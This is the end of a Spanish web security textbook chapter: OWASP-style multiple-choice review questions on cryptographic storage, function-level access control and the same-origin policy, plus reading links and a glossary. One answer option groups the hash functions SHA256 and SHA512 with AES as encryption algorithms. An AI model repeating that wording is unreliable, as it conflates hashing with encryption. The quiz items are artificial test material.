	 Una de las contramedidas para la exposición de datos sensibles relacionadas con el almacenamiento criptográfico es el uso de algoritmos de cifrado, ¿qué algoritmos se recomiendan para tener un cifrado lo más seguro posible? 
 
	 Uso de algoritmos de criptográficamente fuertes como MD5 o SHA-1 
 
	 No es necesario ningún algoritmo de cifrado 
 
	 Uso de algoritmos de criptográficamente fuertes SHA256, SHA512, AES 
 
	 El algoritmo lo puede decidir el desarrollador e inventarse uno propio 
 
 
 
	 ¿Con qué está relacionado la vulnerabilidad Ausencia de control de acceso a las funciones? 
 
	 Permite obtener las credenciales del usuario para acceder a información privadas 
 
	 Permite el acceso a URL privadas a nivel de administración y configuración 
 
	 Permite acceder a etiquetas ocultas del HTML 
 
	 Permite acceder a URL que son visibles solo viendo el código fuente 
 
 
 
	 ¿Qué mecanismo de seguridad de los navegadores para restringir la ejecución de código proveniente de servidores ajenos? 
 
	 Consultas parametrizadas (Prepared statements) 
 
	 Referencia directa insegura a objetos 
 
	 Secuencias de comandos en sitios cruzados 
 
	 Política del mismo origen (SOP) 
 
 
 
 
 
 1.15 LECTURAS RECOMENDADAS 
 


 
	 OWASP 
 
 
 https://www.owasp.org/index.php/Category:OWASP_Java_Project 
 
 http://www.jtmelton.com/2009/01/03/the-owasp-top-ten-and-esapi 
  
	 Política del mismo origen 
 
 
 https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_ policy 
 
 
 1.16 GLOSARIO DE TÉRMINOS 
 


 
	 Catálogo: Conjunto de tablas de una base de datos. 
 
	 Cookie: Una cookie es un fichero que se envía a un navegador por medio de un servidor web para registrar las actividades de un usuario en un sitio web. 
 
	 Cheat Sheet: Documento que contiene una serie de trucos acerca del uso de una determinada herramienta. 
 
	 DB2(DataBase 2): Sistema de administración de bases de datos relacionales de IBM para macroordenadores. 
 
	 Inyección SQL: Vulnerabilidad que se presenta cuando un programa genera una sentencia SQL con parámetros proporcionados por el usuario, donde este ha incluido código SQL que, al no verificarse, pasa a formar parte de la sentencia final. 
 
	 ORM (Object-Relational Mapping): Esta capa se encarga de mapear objetos del dominio del problema, en tablas de bases de datos relacionales. 
 
	 Phishing: Consiste en el envío masivo de mensajes que, aparentando provenir de fuentes fiables, intentan conseguir que el usuario proporcione datos confidenciales. 
 
	 Sesión: Periodo de tiempo durante el cual un usuario está autenticado en un sistema. 
 
	 Script: Hace referencia a todos aquellos ficheros o secciones de código escritas en algún lenguaje de programación, como Visual Basic Script JavaScript, etc. 
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